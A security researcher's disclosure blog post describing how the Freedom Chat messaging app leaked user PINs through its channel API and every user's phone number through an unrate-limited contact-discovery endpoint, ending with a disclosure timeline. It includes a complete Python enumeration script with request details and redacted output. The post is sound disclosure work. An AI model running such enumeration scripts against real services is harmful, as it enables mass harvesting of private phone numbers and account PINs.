“Super secure” MAGA-themed messaging app leaks everyone’s phone number
Neither of us had prior experience developing mobile apps, but we thought, “Hey, we’re both smart. This shouldn’t be too difficult.”
- Freedom Chat CEO Tanner Haas
Background#
Once upon a time, in the distant memory that is 2023, a new instant messaging app called Converso was launched. Converso made some pretty impressive claims about its security: it claimed to implement state of the art end-to-end encryption, to collect no metadata, and to use a decentralized architecture that involved no servers at all. Unfortunately, security researcher crnković did some basic reverse engineering and traffic analysis and found all of these claims to be completely baseless, with Converso collecting plenty of metadata on every message and using a third-party E2EE provider to store messages on bog standard centralized servers. Even more unfortunately, crnković also found that Converso implemented the (perfectly functional if used properly) Seald E2EE service in such a way that encrypted messages’ keys could be derived from publicly available information, and also uploaded a copy of every encrypted message to an open Firebase bucket, meaning every message ever sent on the service could be trivially read by anyone with an Internet connection. After being informed of the vulnerabilities, Converso initially released an update claiming to fix them, then withdrew from the App Store and Google Play to “address and improve the issues.”
Not one to give up after a setback, Converso CEO Tanner Haas took a break from self-publishing books on how to achieve and receive anything you want to regroup and relaunch, as well as to bless the world with a lessons learned blog post describing his decision to rebrand after realizing that “privacy concerns were primarily coming from conservative circles,” and imparting nuggets of wisdom such as “accept criticism and get better: don’t complain” and “ensure the product has been thoroughly tested and is ready for prime-time.” Presumably he hadn’t learned the first one yet when he responded to crnković’s responsible disclosure with vague legal threats and accusations of being a Signal shill. Let’s see how the second is going.
Part 0: Setup#
As usual, I start out by downloading the app from Google Play and running it while monitoring traffic with HTTP Toolkit. I quickly ran into Freedom Chat’s first security feature: as detailed on their website, the app “prevent[s] screenshots and screen recordings entirely with built-in screenshot protection,” perhaps to accomodate conservatives’ complicated relationship with screenshots. Screenshots aren’t really crucial to anything being discussed here, but I like to provide only the best blog posts to my tens of readers, so let’s hook the app with Frida and disable the FLAG_SECURE attribute. With that out of the way, the signup process works as expected for an instant messaging app - we type in a phone number, get texted a 2FA code, and enter it to create an account. We’re asked whether we want to create a PIN, which is apparently optional to log in on my own phone and required if we want to restore our account on another device, then get to the main UI of the app. There are two main features here: a Chat pane where we can start chats with contacts, and a Channels pane where we can subscribe to user-run microblogging channels à la Telegram.
Part 1: Exploration#
Let’s start out with the basics and have a conversation with a second account. Sending a text message triggers the following exchange:
/message request
METHOD: POST
URL: https://eagle.freedomchat.com/message
User-Agent: okhttp/4.12.0
Accept: application/json, text/plain, */*
Accept-Encoding: gzip
Content-Type: application/json
Authorization: Bearer <JWT that was generated for us at login>
Connection: keep-alive
{
"sendId": "bdbf9ef7-aaca-4a57-8c4e-5fe978205299",
"type": "text",
"files": [],
"isEncrypted": true,
"createdAt": "2025-11-20T21:12:09.180Z",
"chatId": "64b9a972-4232-4026-a037-8848909b264d",
"content": "{\"sessionId\":\"5900c62e-8819-43d7-a6fe-a1745c425bf3\",\"data\":\"5wNaCjU3Y0XOvwA9eCuejjJrxRGFNhr+dlnkmeWQcqpxPyfeueVlfVUihifjG33q5HrMMT4ex85c9W4iZcNziXPvVtrs1VrEW2ZWonccOdmXB91ONgLuG0fRjGoc3IFN\"}"
}
STATUS: 201 CREATED
{
"message": {
"id": "f1e3a08a-fc8f-4268-b6a8-36ab6abc0464",
"content": "{\"sessionId\":\"5900c62e-8819-43d7-a6fe-a1745c425bf3\",\"data\":\"5wNaCjU3Y0XOvwA9eCuejjJrxRGFNhr+dlnkmeWQcqpxPyfeueVlfVUihifjG33q5HrMMT4ex85c9W4iZcNziXPvVtrs1VrEW2ZWonccOdmXB91ONgLuG0fRjGoc3IFN\"}",
"user": {
"uid": "0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6",
"userName": null,
"phoneNumber": "+13322699625",
"isBlocked": false,
"sealdKey": "180cc149-5bc6-406b-b32e-4afaadff2f47",
"keyChangedAt": "2025-11-20T21:06:31.308Z",
"createdAt": "2025-11-20T21:06:07.041Z",
"updatedAt": "2025-11-20T21:06:31.311Z"
},
"role": "user",
"type": "text",
"sendId": "bdbf9ef7-aaca-4a57-8c4e-5fe978205299",
"chatId": "64b9a972-4232-4026-a037-8848909b264d",
"channelId": null,
"erased": false,
"isEdited": false,
"isEncrypted": true,
"parent": null,
"selfDestructInSec": null,
"destructAt": null,
"createdAt": "2025-11-20T21:12:09.180Z",
"updatedAt": "2025-11-20T21:12:12.638Z",
"updateAction": "insert",
"updateItem": "message",
"updateValue": null,
"updateUserId": "0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6",
"statuses": [
{
"id": "4a1217f4-ab16-4f63-964d-4afd5cdd6b86",
"recipient": {
"uid": "0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6",
"userName": null,
"phoneNumber": "+13322699625",
"isBlocked": false,
"sealdKey": "180cc149-5bc6-406b-b32e-4afaadff2f47",
"keyChangedAt": "2025-11-20T21:06:31.308Z",
"createdAt": "2025-11-20T21:06:07.041Z",
"updatedAt": "2025-11-20T21:06:31.311Z"
},
"recipientId": "0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6",
"delivered": false,
"deliveredAt": null,
"read": false,
"readAt": null
},
{
"id": "3e6a8549-c2f7-41ca-8acc-3baa7fc51457",
"recipient": {
"uid": "5414cf2c-3f03-46b2-aa16-9e322359cafb",
"userName": null,
"phoneNumber": "+13095416781",
"isBlocked": false,
"sealdKey": "c1d370b9-2323-456d-b4ce-eac3e30014e2",
"keyChangedAt": "2025-11-20T19:59:10.095Z",
"createdAt": "2025-11-20T19:58:00.462Z",
"updatedAt": "2025-11-20T20:59:02.686Z"
},
"recipientId": "5414cf2c-3f03-46b2-aa16-9e322359cafb",
"delivered": true,
"deliveredAt": null,
"read": false,
"readAt": null
}
]
},
"assets": []
}This is the encrypted and Base64-encoded text we sent, along with some metadata for things like read receipts and editing and the identifiers needed for decryption (they’re using the same Seald backend that Converso had, without uploading everything to Firebase this time). Sending a photo and a voice message yields similar results. While verifying that they’re using Seald properly this time would require painstakingly decompiling and reverse engineering React Native’s Hermes VM bytecode, at a high level this seems fine. Let’s move on to the Channels feature. When we open the tab, we see that we’ve already been added to a Freedom Chat channel, which mostly posts about updates to the app and related media coverage.
We’re also suggested a handful of other channels to join, including that of Tanner Haas and some people who are apparently conservative influencers. Tanner mostly seems to use his to post fascinating political takes:
Part 2: Leaking everyone’s PIN#
When we open a channel, the following request and massive response happen:
/channel request
METHOD: POST
URL: https://eagle.freedomchat.com/channel?take=1000&skip=0×tamp=1764377818411
User-Agent: okhttp/4.12.0
Accept: application/json, text/plain, */*
Accept-Encoding: gzip
Content-Type: application/json
Authorization: Bearer <JWT that was generated for me at login>
Connection: keep-alive
STATUS: 200 OK
{
"data": [
{
"id": "b0fcab24-36ed-4dae-8f6b-07c5d96606ae",
"name": "Freedom Chat",
"verified": true,
"recommended": true,
"forTest": false,
"description": "The official channel of Freedom Chat Inc. 🦅🇺🇸",
"isScreenshotProtected": true,
"isMediaSaveDisabled": false,
"messageSelfDestruct": null,
"createdAt": "2025-06-06T22:33:58.609Z",
"updatedAt": "2025-11-11T15:05:56.565Z",
"coverImage": {
"id": "3c52569b-d9ba-4695-9469-c39c0bd6a95b",
"key": "AC2E2C9C-B23D-4EEC-8F35-39ED2E3D002C-47bce191-d213-4c9f-8c09-c8095935632d.png",
"mimeType": "image/png",
"url": "https://fc-media.object.us-east-1.rumble.cloud/AC2E2C9C-B23D-4EEC-8F35-39ED2E3D002C-47bce191-d213-4c9f-8c09-c8095935632d.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=5rT0Vph76SOrvs39XKPfHBrwaFFZ2daB%2F20251128%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20251128T161557Z&X-Amz-Expires=86400&X-Amz-Signature=3f976f4cf09177c28f1060203e3ac6bcdf87932badc5c601cb39b428a1e96a9d&X-Amz-SignedHeaders=host&x-amz-checksum-mode=ENABLED&x-id=GetObject",
"createdAt": "2025-06-06T22:33:58.605Z",
"updatedAt": "2025-11-28T16:15:57.150Z"
},
"creator": {
"uid": "fce31a02-17b6-4298-9be4-<redacted for publication>",
"userName": "freedomchat",
"pin": "<six digit code redacted for publication>",
"pinBackoffDate": "2025-11-07T23:37:09.265Z",
"pinBackoffNb": 0,
"isBlocked": false,
"sealdKey": "956acbdf-925f-47b6-8323-<redacted for publication>",
"keyChangedAt": "2025-09-21T14:48:08.778Z",
"createdAt": "2025-06-06T15:28:50.364Z",
"updatedAt": "2025-11-20T17:52:16.117Z"
},
"members": [
{
"channelId": "b0fcab24-36ed-4dae-8f6b-07c5d96606ae",
"userUid": "9646aae0-956b-4252-993e-<redacted for publication>",
"isMuted": false,
"isScreenshotProtected": true,
"isMediaSaveDisabled": false,
"isDeleted": false,
"isAdmin": false,
"createdAt": "2025-08-22T20:19:43.835Z",
"updatedAt": "2025-08-22T20:19:43.835Z",
"user": {
"uid": "9646aae0-956b-4252-993e-<redacted for publication>",
"userName": null,
"pin": "<six digit code redacted for publication>",
"pinBackoffDate": null,
"pinBackoffNb": 0,
"isBlocked": false,
"sealdKey": "e2ce450b-9701-4750-ad95-<redacted for publication>",
"keyChangedAt": "2025-10-13T17:54:16.222Z",
"createdAt": "2025-06-07T13:32:09.371Z",
"updatedAt": "2025-10-13T17:54:37.187Z"
}
},
{
"channelId": "b0fcab24-36ed-4dae-8f6b-07c5d96606ae",
"userUid": "8e4291dd-be77-43df-8227-<redacted for publication>",
"isMuted": false,
"isScreenshotProtected": true,
"isMediaSaveDisabled": false,
"isDeleted": false,
"isAdmin": false,
"createdAt": "2025-09-24T05:51:43.793Z",
"updatedAt": "2025-09-24T05:51:43.793Z",
"user": {
"uid": "8e4291dd-be77-43df-8227-<redacted for publication>",
"userName": null,
"pin": "<six digit code redacted for publication>",
"pinBackoffDate": null,
"pinBackoffNb": 0,
"isBlocked": false,
"sealdKey": "eecd08da-e119-49e5-9f88-<redacted for publication>",
"keyChangedAt": "2025-09-24T05:50:02.186Z",
"createdAt": "2025-09-24T05:49:14.769Z",
"updatedAt": "2025-09-24T05:50:02.185Z"
}
},
...,
]
]
}The members array has 1519 entries in that format, apparently one for each member of the channel. What’s going on in that user object? The pin field seems suspiciously related to the PIN we were asked to input after creating our account… To confirm, we can sort the array by createdAt and find that the most recent entry does indeed have the PIN we just set when making our account. So
anyone who’s in a channel (i.e. anyone who hasn’t left the default Freedom Chat channel) has their PIN broadcast to every other user! There’s no direct link between PINs and phone numbers here, but this is still not great.
Part 3: So much more secure than WhatsApp#
If we scroll back a bit in the Freedom Chat channel, we see this message dunking on WhatsApp:
The vulnerability they’re talking about was presented in a paper by researchers at the University of Vienna. The paper is interesting and you should go read it, but to summarize, WhatsApp failed to rate limit the API that eats up every phone number in your contacts and checks whether they also use WhatsApp or not. Researchers were thus able to test nearly every possible phone number in the world, and end up with a dump of every WhatsApp user’s phone number, along with some other metadata. It’s interesting that Freedom Chat isn’t vulnerable to this, because they have the same contact discovery feature WhatsApp does, with the app offering you to either start a chat or invite each of your contacts depending on whether they already have an account:
Let’s find out for ourselves. When we open this contacts page, the following request-response happens:
/user/numbers request
METHOD: POST
URL: https://eagle.freedomchat.com/user/numbers
User-Agent: okhttp/4.12.0
Accept: application/json, text/plain, */*
Accept-Encoding: gzip
Content-Type: application/json
Authorization: Bearer <JWT that was generated for me at login>
Connection: keep-alive
{
"numbers": [
"+13322699625",
"+13095416781",
"+16042771111"
]
}
STATUS: 201 CREATED
[
{
"uid": "0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6",
"phoneNumber": "+13322699625",
"sealdKey": "1eea159c-620f-4561-95e8-2918e7d891fc"
},
{
"uid": "5414cf2c-3f03-46b2-aa16-9e322359cafb",
"phoneNumber": "+13095416781",
"sealdKey": "c1d370b9-2323-456d-b4ce-eac3e30014e2"
}
]The first two numbers in the request are the two we used to register Freedom Chat accounts. The third is a number we didn’t register, as a control. A couple things are interesting here. Most obviously, this is exactly the WhatsApp API the Vienna researchers exploited, and will contain the same vulnerability if not rate limited. This endpoint also provides a linkage between phone numbers and UIDs - if we could run every registered phone number through it, we could get each number’s UID and match it to the UIDs in the Channels response to get that number’s PIN, entirely defeating the PIN mechanism. Now we just need to test whether it’s rate limited
Part 4: Exploit#
Freedom Chat enumeration script
import itertools
import pandas as pd
import json
import requests
import datetime
import random
from time import sleep
area_codes = [
201, 202, 203, 205, 206, 207, 208, 209, 210, 212, 213, 214, 215, 216, 217, 218, 219, 224, 225, 228, 229, 231, 234, 239, 240, 242, 248, 251, 252, 253, 254, 256, 260, 262, 267, 269, 270, 276, 281, 283, 301, 302, 303, 304, 305, 307, 308, 309, 310, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 323, 325, 327, 330, 331, 334, 336, 337, 339, 340, 346, 347, 351, 352, 360, 361, 386, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 412, 413, 414, 415, 417, 418, 419, 423, 424, 425, 430, 432, 434, 435, 440, 443, 458, 469, 470, 475, 478, 479, 480, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 512, 513, 514, 515, 516, 517, 518, 520, 530, 540, 541, 551, 559, 561, 562, 563, 564, 567, 570, 571, 573, 574, 575, 580, 585, 586, 601, 602, 603, 605, 606, 607, 608, 609, 610, 612, 614, 615, 616, 617, 618, 619, 620, 630, 631, 636, 641, 646, 650, 651, 657, 660, 661, 662, 667, 669, 678, 681, 682, 701, 702, 703, 704, 705, 706, 707, 708, 712, 713, 714, 715, 716, 717, 718, 719, 720, 724, 727, 731, 732, 734, 740, 747, 754, 757, 760, 762, 763, 765, 770, 772, 773, 774, 775, 781, 784, 785, 786, 787, 801, 802, 803, 804, 805, 806, 808, 810, 812, 813, 814, 815, 816, 817, 818, 828, 830, 831, 832, 843, 845, 847, 848, 850, 856, 857, 858, 859, 860, 862, 863, 864, 865, 870, 872, 873, 876, 877, 878, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 912, 913, 914, 915, 916, 917, 918, 919, 920, 925, 928, 931, 937, 940, 941, 947, 951, 952, 954, 956, 970, 971, 972, 973, 975, 978, 979, 980, 985, 989
]
digits = ("0", "1", "2", "3", "4", "5", "6", "7","8", "9")
orig_combinations = pd.Series(["".join(x) for x in itertools.product(digits, repeat=7)])
orig_combinations = orig_combinations[~orig_combinations.str.startswith("0") & ~orig_combinations.str.startswith("1")]
with open("freedom_enum_log.txt", "w") as logfile:
random.shuffle(area_codes)
for ac in area_codes:
logfile.write(f"Starting area code {ac}\n")
combinations = ["+1" + str(ac) + ''.join(c) for c in list(orig_combinations)]
url = "https://eagle.freedomchat.com/user/numbers"
authToken = "initial auth token"
refreshToken = "initial refresh token"
for i in range(0, 8000000, 40000):
tranche = combinations[i:i+40000]
tranche.append("+13322699625")
payload = { "numbers": tranche }
headers = {
"accept": "application/json, text/plain, */*",
"authorization": f"Bearer {authToken}",
"content-type": "application/json",
"host": "eagle.freedomchat.com",
"connection": "Keep-Alive",
"accept-encoding": "gzip",
"user-agent": "okhttp/4.12.0"
}
response = requests.post(url, json=payload, headers=headers)
if "Unauthorized" in response.text:
refreshResponse = requests.post("https://eagle.freedomchat.com//auth/refresh", json={"refreshToken": refreshToken})
authToken = refreshResponse.json()["accessToken"]
refreshToken = refreshResponse.json()["refreshToken"]
response = requests.post(url, json=payload, headers=headers)
if response.text.count("uid") != 1:
logfile.write(response.text + "\n")
if response.elapsed > datetime.timedelta(seconds=3):
logfile.write(f"Getting slow! {response.elapsed}\n")
logfile.flush()
logfile.write(f"Done area code {ac}\n")
combinations = []This is pretty self-explanatory. We generate every valid 7-digit North American phone number, then for every area code, send every number in batches of 40000, plus a number we registered so we can check for false empty responses. We log responses that don’t contain the string “uid” exactly once; if a response contains it 0 times it has failed to produce our registered number and is thus faulty somehow, if a response contains it 2+ times we have found another number. We also reauthenticate as needed and note if we start to slow down the server at all. Yes, there are a million ways to make this concurrent and faster, but we’re trying to enumerate not DDOS their server, and at ~1.5 seconds average RTT we should be able to test every American phone number in about a day.
The log file starts to fill up with entries within a few minutes:
Starting area code 305
[{"uid":"08171874-4b15-47d8-aa78-<redacted for publication>","phoneNumber":"+13052<redacted for publication>","sealdKey":"941bb3f1-a7e1-4565-a302-<redacted for publication>"},{"uid":"0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6","phoneNumber":"+13322699625","sealdKey":"c0b5fb1c-c1ea-4177-872d-159ff524328b"}]
[{"uid":"abde2596-80df-4e87-993d-<redacted for publication>","phoneNumber":"+13053<redacted for publication>","sealdKey":"643c55e4-badd-4932-9051-<redacted for publication>"},{"uid":"0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6","phoneNumber":"+13322699625","sealdKey":"c0b5fb1c-c1ea-4177-872d-159ff524328b"}]
[{"uid":"64ef67ef-d4b2-4545-9592-<redacted for publication>","phoneNumber":"+13054<redacted for publication>","sealdKey":"38d04de8-752f-4214-b8be-<redacted for publication>"},{"uid":"0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6","phoneNumber":"+13322699625","sealdKey":"c0b5fb1c-c1ea-4177-872d-159ff524328b"}]
[{"uid":"b0366897-bfeb-474d-9c15-<redacted for publication>","phoneNumber":"+13057<redacted for publication>","sealdKey":"06dfc59c-2318-4419-93d1-<redacted for publication>"},{"uid":"0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6","phoneNumber":"+13322699625","sealdKey":"c0b5fb1c-c1ea-4177-872d-159ff524328b"}]
Time to go do something else for a while. Just over 27 hours and one ill-fated attempt at early season ski touring later, the script has finished happily, the logfile is full of entries, and no request has failed or taken longer than 3 seconds. So much for rate limiting. We’ve leaked every Freedom Chat user’s phone number, and unless they happened to leave the default channel, we’ve also matched their phone number to their PIN, rendering the entire PIN feature pointless.
Timeline#
- 2025-11-23: vulnerability discovered
- 2025-12-04: disclosed to Freedom Chat support by Zack Whittaker
- 2025-12-05: Freedom Chat responds clarifying that PINs don’t allow restoring past messages, only logging into the account, and that they “had already been implementing additional audit procedures following the Vienna exploit,” promises fixes by next week
- 2025-12-09: Freedom Chat notifies us issues have been patched
- 2025-12-11: publication here and at TechCrunch